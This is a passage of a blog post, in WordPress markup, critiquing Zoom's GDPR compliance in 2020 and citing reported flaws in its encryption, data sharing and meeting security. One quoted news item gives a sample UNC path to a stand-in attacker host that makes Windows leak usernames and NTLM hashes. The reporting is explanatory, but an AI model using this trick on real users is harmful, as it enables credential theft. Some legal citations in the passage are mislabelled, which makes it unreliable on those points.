given</strong>,&nbsp;<strong>specific</strong>,&nbsp;<strong>informed</strong>&nbsp;and&nbsp;<strong>unambiguous</strong>&nbsp;indication of the data subject’s wishes by which he or she, by a statement or by a clear&nbsp;<strong>affirmative action</strong>, signifies agreement to the processing of personal data relating to him or her&nbsp;‘.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In addition,&nbsp;<a href=\"https://gdpr-info.eu/art-7-gdpr/\">Article 7</a>&nbsp;, relating to the conditions applicable to&nbsp;<a href=\"https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/lawful-basis-for-processing/consent/\">consent</a>, provides:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“&nbsp;<em>1. In cases where the processing is based on consent, the controller is able to demonstrate that the data subject has given his consent to the processing of personal data concerning him. &nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td><strong>1.</strong>&nbsp;<em>Where processing is based on consent, the controller shall be able to&nbsp;</em><strong><em>demonstrate</em></strong><em>&nbsp;that the data subject has consented to processing of his or her personal data</em>.&nbsp;<br></td></tr><tr><td><strong>2.</strong>&nbsp;<em>If the data subject’s consent is given in the context of a written declaration which also concerns other matters, the request for consent shall be presented in a manner which is clearly distinguishable from the other matters, in an intelligible and easily accessible form, using clear and plain language. Any part of such a declaration which constitutes an infringement of this Regulation shall not be binding</em>.</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>An explicit and informed consent is required from participants in the video conference when the data is collected from the recording or any subsequent total or partial broadcasts, including screenshots of the meetings.&nbsp;Remembering that, as biometric data capable of identifying individuals, are data of special category&nbsp;<strong>art.&nbsp;9-2 a)</strong>&nbsp;– this concerns participants’ data and any other personal data processed during the video conference&nbsp;<a href=\"https://gdpr-info.eu/art-9-gdpr/\">Article 9</a><strong>&nbsp;–</strong>&nbsp;consents must be record of processing activities in accordance with&nbsp;<a href=\"https://gdpr-info.eu/art-30-gdpr/\">Article 30</a>.&nbsp;The purpose of processing the data of persons not present must be clearly justified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;<a href=\"https://gdpr-info.eu/art-42-gdpr/\">Article 42</a>GDPR states : ‘<em>Where processing is based on the data subject’s consent, the controller should be able to demonstrate that the data subject has given consent to the processing operation.&nbsp;In particular in the context of a written declaration on another matter, safeguards should ensure that the data subject is aware of the fact that and the extent to which consent is given.&nbsp;In accordance with Council Directive 93/13/EEC a declaration of consent pre-formulated by the controller should be provided in an intelligible and easily accessible form, using clear and plain language and it should not contain unfair terms.&nbsp;</em><sup><em>4</em></sup><em>For consent to be informed, the data subject should be aware at least of the identity of the controller and the purposes of the processing for which the personal data are intended.&nbsp;</em><sup><em>5</em></sup><em>Consent should not be regarded as freely given if the data subject has no genuine or free choice or is unable to refuse or withdraw consent without detriment.</em>‘</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some participants may have wished to use nicknames for personal reason and may not wish to be exposed to the general public.&nbsp;An alternative must be offered to them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation of transparency –&nbsp;</strong><a href=\"https://gdpr-info.eu/art-13-gdpr/\">Articles 13</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As mentioned above, the organiser of the videoconference or the ‘host’ must communicate the means and legal basis for data processing in all transparency, before collecting any data :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, it seems that many video conferencing applications are sorely lacking transparency.&nbsp;The host has multiple technical capacities and prerogatives which are too often unknown to other participants such as recording and their subsequent broadcasts.&nbsp;The&nbsp;<a href=\"https://gdpr-info.eu/art-13-gdpr/\">Article 13</a>&nbsp;requires the following information to data subjects :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>the identity and contact details of the controller and, where applicable, the representative of the controller;</em></li><li><em>the contact details of the data protection officer, where applicable;</em></li><li><em>the purposes of the processing for which the personal data is intended as well as the legal basis for the processing;</em></li><li>where the processing is based on point (f) of&nbsp;<a href=\"https://gdpr-info.eu/art-6-gdpr/\"><strong>art 6</strong></a><strong>(1)</strong>, the legitimate interests pursued by the controller or by a third party;<br></li><li>the recipients or categories of recipients of the personal data, if any;</li><li>where applicable, the fact that the controller intends to transfer personal data to a third country or international organisation and the existence or absence of an adequacy decision by the Commission, or in the case of transfers referred to in&nbsp;<a href=\"https://gdpr-info.eu/art-46-gdpr/\">Articles 46</a>&nbsp;or&nbsp;<a href=\"https://gdpr-info.eu/art-47-gdpr/\">47</a>, or the second subparagraph of&nbsp;<a href=\"https://gdpr-info.eu/art-49-gdpr/\">Article 49(</a>1), reference to the appropriate or suitable safeguards and the means by which to obtain a copy of them or where they have been made available.<br><br></li><li>The rights of participants under&nbsp;<a href=\"https://gdpr-info.eu/art-14-gdpr/\">Article 14</a>&nbsp;,&nbsp;<a href=\"https://gdpr-info.eu/art-15-gdpr/\">Article 15</a>&nbsp;&nbsp;and in particular their right to rectify or withdraw consent, their right to complain to the administrative authority must be reminded.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>In addition to the information referred to in paragraph 1, the controller shall provide participants with the following additional information when obtaining personal data, to ensure fair and transparent processing:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>the period during which the personal data will be stored or, if this is not possible, the criteria used to determine this period;<ul><li>the existence of the right to request the controller to access and rectify or erase personal data or limit the processing of the data subject or to object to the processing, as well as the right to data portability;</li><li>when the processing is based on&nbsp;<a href=\"https://gdpr-info.eu/art-6-gdpr/\">Article 6</a></li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The purpose of the processing shall be determined in that legal basis or, as regards the processing referred to in point (e) of paragraph 1, shall be necessary for the performance of a task carried out in the public interest or in the exercise of official authority vested in the controller. That legal basis may contain specific provisions to adapt the application of rules of this Regulation, inter alia: the general conditions governing the lawfulness of processing by the controller; the types of data which are subject to the processing; the data subjects concerned; the entities to, and the purposes for which, the personal data may be disclosed; the purpose limitation; storage periods; and processing operations and processing procedures, including measures to ensure lawful and fair processing such as those for other specific processing situations as provided for in Chapter IX. The Union or the Member&nbsp;State law shall meet an objective of public interest and be proportionate to the legitimate aim pursued.[Recitals(s)&nbsp;:&nbsp;<a href=\"https://awallon.com:15001/d/s/546474527262029836/dvE2poFdUQW0pMb3catm7bYDCpLmhXaT-nrZgdON4lgc_\">41</a>]4.&nbsp;&nbsp;&nbsp;Where the processing for a purpose other than that for which the personal data have been collected is not based on the data subject’s consent or on a Union or Member&nbsp;State law which constitutes a necessary and proportionate measure in a democratic society to safeguard the objectives referred to in Article 23(1), the controller shall, in order to ascertain whether processing for another purpose is compatible with the purpose for which the personal data are initially collected, take into account, inter alia:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(a)</td><td>any link between the purposes for which the personal data have been collected and the purposes of the intended further processing;</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(b)</td><td>the context in which the personal data have been collected, in particular regarding the relationship between data subjects and the controller;</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(c)</td><td>the nature of the personal data, in particular whether special categories of personal data are processed, pursuant to Article 9, or whether personal data related to criminal convictions and offences are processed, pursuant to Article 10;</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(d)</td><td>the possible consequences of the intended further processing for data subjects;</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(e)</td><td>the existence of appropriate safeguards, which may include encryption or pseudonymisation.</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:list -->\n<ul><li>paragraph 1, point a), or on&nbsp;&nbsp;<a href=\"https://gdpr-info.eu/art-9-gdpr/\">Article 9</a>&nbsp;paragraph 2, point a), the existence of the right to withdraw consent at any time, without affecting the lawfulness of processing based on consent before its withdrawal;<ul><li>the right to lodge a complaint with a supervisory authority;</li><li>if the provision of personal data is a legal or contractual requirement, or a requirement necessary for concluding a contract, as well as if the data subject is required to provide the personal data and the possible consequences of the non-provision of these data;</li><li>the existence of automated decision-making, including profiling, referred to in&nbsp;<a href=\"https://gdpr-info.eu/art-15-gdpr/\">Article</a><a href=\"https://gdpr-info.eu/art-22-gdpr/\">22&nbsp;</a>paragraphs 1 and 4, and, at least in these cases, significant information on the logic involved, as well as the meaning and the intended consequences of such processing of the data subject.</li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>When the controller intends to continue processing personal data for a purpose other than that for which this data was collected, the controller shall provide the data subject, before any further processing, with information on this other purpose and any other relevant information referred to in paragraph 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Paragraphs 1, 2 and 3 do not apply when and to the extent that the data subject already has information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A privacy notice must be provided at the time of data collection, that is to say before guests join the meeting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Data retention periods should be notified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The purpose limitation requirement means that it must be clear from the privacy notice who accesses the data and for what specific purpose.&nbsp;Sharing data with Facebook was contrary to the GDPR.&nbsp;Even if the developer Zoom has changed this, users still need to update their application.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These data must not be used for purposes other than those intended, such as training facial recognition without the consent of the parties concerned.&nbsp;The host is responsible for respecting these principles and in particular for further processing by Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom’s privacy policy has raised justified fears:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://zoom.us/privacy&amp;usg=ALkJrhiXuIM3FxckpUdM063Nlg05HEGVVw\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom’s privacy policy&nbsp;</a>&nbsp;claims the right to collect and store personal data and share it with third parties such as advertisers.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Until it was modified during the weekend, pre-dated to March 18&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>The company&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://zoom.us/privacy%3Fzcid%3D1231&amp;usg=ALkJrhjXxUKpAt6WjZSaZK-4ByFbXN8nFQ\" target=\"_blank\" rel=\"noreferrer noopener\">updated its privacy policy</a>&nbsp;&nbsp;on Sunday after users reported concerns, and&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://twitter.com/ericsyuan/status/1244682869974290433&amp;usg=ALkJrhhCE2HKENibcfSYKh1Zs_schKLqXA\" target=\"_blank\" rel=\"noreferrer noopener\">on Monday</a>&nbsp;, Eric S. Yuan, chief executive and founder of Zoom, posted a link on Twitter to a company blog item about the policy.&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html&amp;usg=ALkJrhi4Od7ZPREXg0oezpaxW1n_iYG3BA\">NYTimes</a></em></li><li><em>In a statement for this article, the company said it took “its users’ privacy, security and trust extremely seriously,” and had been “working around the clock to ensure that hospitals, universities, schools and other businesses across the world can stay connected and operational. ”</em></li><li><em>“We appreciate the New York attorney general’s engagement on these issues and are happy to provide her with the requested information,” the statement added.</em></li><li><em>Zoom&nbsp;<strong>privacy notice</strong>&nbsp;grants access to data even though for people who have not a Zoom account</em></li><li><em>Zoom’s privacy policy gives the company rights to collect personal data of people regardless of whether they have a Zoom account.&nbsp;This data they might collect on non-Zoom customers might include their physical address, debit card information and even what device they are using.</em></li><li><em>They keep the right to collect and share information with unspecified third parties in present and in the future.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Privacy by design or Privacy Enhanced Technology (PET)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom has few protective safeguards, but they are disabled by default.&nbsp;No processing must be carried out without transparency or consent expressed by positive act of the subjects concerned.&nbsp;In this case it is not very clear when a recording is made or enable subsequent uses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The application included an&nbsp;<em><a href=\"https://www.vice.com/en_us/article/qjdnmm/working-from-home-zoom-tells-your-boss-if-youre-not-paying-attention\">attention tracking</a></em>&nbsp;option&nbsp;which enabled the host to draw the attention of participants if they visited other sites or switched to other windows.&nbsp;This overly intrusive option has been disabled.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Again, a privacy notice should clarify the consent required from participants.&nbsp;It is not activated by default, knowing that biometric, health or data belonging to minors are special categories requiring express consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>A small&nbsp;<strong>red button when recording</strong>&nbsp;– can be easily missed.&nbsp;There is an option of request recording consent at the beginning – what about the ones joining in in the course of the meeting?&nbsp;The consent request is OFF by default.&nbsp;<strong>Privacy by design</strong>&nbsp;: should be ON by default</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Security obligation</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Limit access to data to secure content and paramount.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Absence&nbsp;of&nbsp;end&nbsp;to&nbsp;end&nbsp;encryption&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The encryption of communications or encryption was part of Zoom’s promises but was found to be encryption of the TLS browser type and not UDP as revealed by the&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://theintercept.com/2020/03/31/zoom-meeting-encryption/&amp;usg=ALkJrhj_guVRLG1cA5OOHr70YGBNDHE1Ig\"><em>Intercept</em></a><em>&nbsp;.</em>&nbsp;Zoom apologized and acknowledged the failure. However, end-to-end encryption is mandatory to ensure data protection, especially as it can be of a special category.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, it turns out that the data would be stored on Amazon S3 in clear text and would not even be encrypted.&nbsp;Consequently, any Zoom employee or developer having access to S3 compartments for development and maintenance activities could intercept them and take them over for such possible processing.&nbsp;There is therefore no real confidentiality on these recordings.&nbsp;This problem is far from negligible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only barrier between private and public registration is the security of the Zoom firewall and the other things they have in place.&nbsp;Once these have been breached, for example by a phishing attack, the S3 buckets are a fair game.&nbsp;A decent encryption system on the stored records would have been essential here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>a Zoom spokesperson wrote, “Currently, it is not possible to enable E2E encryption for Zoom video meetings.&nbsp;Zoom video meetings use a combination of TCP and UDP.&nbsp;TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection. ”</em></li><li><em>On 4/3, Citizen Lab&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://citizenlab.ca/2020/04/move-fast-roll-your-own-crypto-a-quick-look-at-the-confidentiality-of-zoom-meetings/&amp;usg=ALkJrhhj-xFkzL6wWLEyhE9l5tQs4KtiSQ\">reported</a></em></li><li><em>Zoom&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://zoom.us/docs/doc/Zoom-Security-White-Paper.pdf&amp;usg=ALkJrhjRuNn2NyO5UW6XvkdjGs6nddVezw\">documentation</a>&nbsp;&nbsp;claims that the app uses “AES-256” encryption for meetings where possible.&nbsp;However, we find that in each Zoom meeting, a single AES-128 key is used in ECB mode by all participants to encrypt and decrypt audio and video.&nbsp;The use of ECB mode is not recommended because patterns present in the complaintxt are preserved during encryption.</em></li><li><em>The AES-128 keys, which we verified are sufficient to decrypt Zoom packets intercepted in Internet traffic, appear to be generated by Zoom servers, and in some cases, are delivered to participants in a Zoom meeting through servers in China, even when all meeting participants, and the Zoom subscriber’s company, are outside of China.&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html&amp;usg=ALkJrhi8dhovhmXzrKVOru6TbZf0uRsHMg\">Reported by the Security expert Schneier in his blog</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://blog.cryptographyengineering.com/2020/04/03/does-zoom-use-end-to-end-encryption/&amp;usg=ALkJrhhXJmIB4Ly6Kngg7C516Jfs9a7tsA\">Does Zoom uses end to end encryption?</a></em></li><li><em>Warning: Zoom Makes Encryption Keys In China (Sometimes)</em></li><li><em>Where is the EU DPA investigation?&nbsp;Once again, Eu personal data is in between China interception and the US Cloud Act interception.&nbsp;Data sent outside the EU in China without users knowledge.&nbsp;“As&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://medium.com/hashtag-resist/using-zoom-for-activism-think-about-security-1c4f2903275a&amp;usg=ALkJrhgaDkE_hlcUSP7YJqi06wRCEjhC7g\">Citizen Lab</a>&nbsp;hadn’t sent its findings to Zoom, saying it was in the public interest to release the information as soon as possible, the videoconferencing company wouldn’t have been aware of the findings.&nbsp;But Yuan assured that if user data was being transferred to China when users weren’t even based there, “we are willing to address that.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>We’ve even learnt that Zoom would transfer data for encryption in China, which the CEO did not fail to recognise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://theintercept.com/2020/04/03/zooms-encryption-is-not-suited-for-secrets-and-has-surprising-links-to-china-researchers-discover/&amp;usg=ALkJrhihFJikKTlR7PipcATumdXwiVt5iw\">Zoom’s Encryption Is “Not Suited For Secrets” And Has Surprising Links To China, Researchers Discover</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The outrages go further, April 1 news has fallen, Zoom would take over the passwords saved by Windows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/1, we learned that Zoom for Windows can be used to&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/&amp;usg=ALkJrhjX5199lL8vGczS9pa11BABF_qpdQ\">steal</a>&nbsp;&nbsp;users’ Window credentials.</em></li><li><em>Attacks work by using the Zoom chat window to send targets a string of text that represents the network location on the Windows device they’re using.&nbsp;The Zoom app for Windows automatically converts these so-called&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.lifewire.com/unc-universal-naming-convention-818230&amp;usg=ALkJrhhKEUUU1tcfso1zMP4yBzUhZIhFIg\">universal naming convention</a>&nbsp;&nbsp;strings – such as \\\\ attacker.example.com/C$ – into clickable links.&nbsp;In the event that targets click on those links on networks that aren’t fully locked down, Zoom will send the Windows usernames and the corresponding&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-minimum-session-security-for-ntlm-ssp-based-including-secure-rpc-servers&amp;usg=ALkJrhhTkh_RXrXKpS9uiPZAwvs0q3ICJg\">NTLM</a>&nbsp;&nbsp;hashes to the address contained in the link</em>&nbsp;.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On April 2 we learned that Zoom would access personal data extracted from users’ Linkedin profiles:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/2, we learned that Zoom&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html&amp;usg=ALkJrhgBR4-SVDPjo0aBd9tZp9zmVycoew\">secretly displayed</a>&nbsp;&nbsp;data from people’s LinkedIn profiles, which allowed some meeting participants to snoop on each other.&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html&amp;usg=ALkJrhi8dhovhmXzrKVOru6TbZf0uRsHMg\">(Zoom has fixed this one.)</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://tidbits.com/2020/04/03/every-zoom-security-and-privacy-flaw-so-far-and-what-you-can-do-to-protect-yourself/&amp;usg=ALkJrhg5ZnpDG7iIxhk7m_WpPfUa8aMFCQ\">Every Zoom Security and Privacy Flaw So Far, and What You Can Do to Protect Yourself</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Very quickly came the news of intruders inviting themselves in the middle of meetings, intrusion qualified as ‘ZoomBombing’:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://mashable.com/article/videoconference-crashed-naked-man-privacy/%3Feurope%3Dtrue&amp;usg=ALkJrhjR6Sw90cPUEDuhJeqBhRkaDdJXWQ\">Naked man crashing school’s video call is a privacy lesson for all</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/www.insidehighered.com/news/2020/03/26/zoombombers-disrupt-online-classes-racist-pornographic-content&amp;usg=ALkJrhiMnWp2LT-piu8zsdPBxKS-Z_lapQ#.Xn26Zv4up1Y.linkedin\">Online Zoom classes were disrupted by individuals spewing racist, misogynistic or vulgar content.&nbsp;Experts say professors using Zoom should familiarize themselves with the program’s settings.</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://techcrunch.com/2020/03/17/zoombombing/&amp;usg=ALkJrhhOYYrun5JfIFQJvOqvQAyTR7tf1w\">Suddenly, dozens of attendees were bombarded with disturbing imagery.&nbsp;A troll entered the call and screenshared Two Girls, One Cup and other horrifying sexual videos.&nbsp;Attempts to block the attack were thwarted as the perpetrator simply re-entered the call</a></em></li><li><a href=\"https://www.reuters.com/article/us-zoom-video-commn-privacy-senate/u-s-senate-tells-members-to-avoid-zoom-over-data-security-concerns-ft-idUSKCN21R0VU\">U.S. Senate tells members to avoid Zoom over data security concerns: FT</a></li><li><a href=\"https://twitter.com/OpenRightsGroup/status/1251185825292959746?s=20\">An Open Rights Group Zoom meeting was disturbed by child pedo pornographic images</a>.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Another problem possibly solved by Zoom, data sharing with Facebook using the SDK denounced by&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account&amp;usg=ALkJrhhe756KpcI61AROU90GQAyYJCyVcQ\">Motherboard</a>&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Last week, after an&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account&amp;usg=ALkJrhhe756KpcI61AROU90GQAyYJCyVcQ\" target=\"_blank\" rel=\"noreferrer noopener\">article on the news site Motherboard</a>&nbsp;&nbsp;reported that software inside the Zoom iPhone app was sending user data to Facebook, the company said it was&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vice.com/en_us/article/z3b745/zoom-removes-code-that-sends-data-to-facebook&amp;usg=ALkJrhiBjKxqHJbRNsUzNiBzSnjKGu_eIQ\" target=\"_blank\" rel=\"noreferrer noopener\">removing the tracking software</a>&nbsp;.</em></li><li><em>Zoom, like other apps, uses&nbsp;<strong>Facebook ‘</strong>&nbsp;s software development kits (SDK) to implement features quickly.&nbsp;In exchange, Facebook gains useful information about users.&nbsp;As Vice’s Motherboard explains, Zoom connects to Facebook’s Graph API, which is the way developers get data in or out of Facebook.</em></li><li><em>The Zoom app notifies Facebook when the user opens the app, details on the user’s device such as the model, the time zone and city they are connecting from, which phone carrier they are using, and a unique advertiser identifier created by the user’s device which companies can use to target a user with advertisements.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom has modified this flaw, inviting users to update their Application:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/winbuzzer.com/2020/03/31/zoom-removes-its-facebook-data-sharing-on-ios-amid-possible-gdpr-violations-xcxwbn&amp;usg=ALkJrhhj0kU0EpB7XEcY6hsO35ungrFIVw\">Zoom Removes Its Facebook Data Sharing on iOS amid Possible GDPR Violations</a></em></li><li><em>Zoom has removed its&nbsp;<strong>Facebook SDK</strong>&nbsp;for iOS integration after a report&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account&amp;usg=ALkJrhhe756KpcI61AROU90GQAyYJCyVcQ\">from Motherboard</a>&nbsp;.</em></li><li><em>the developers&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://blog.zoom.us/wordpress/2020/03/27/zoom-use-of-facebook-sdk-in-ios-client/&amp;usg=ALkJrhjbWj_636LN_e_zuHG0c3wlkC21zQ\">&nbsp;in a statement</a>&nbsp;.&nbsp;“Users will need to update to the latest version of our application that’s already available at 2:30 pm Pacific time on Friday, March 27, 2020, in order for these changes to take hold, and we strongly encourage them to do so.&nbsp;“</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<a 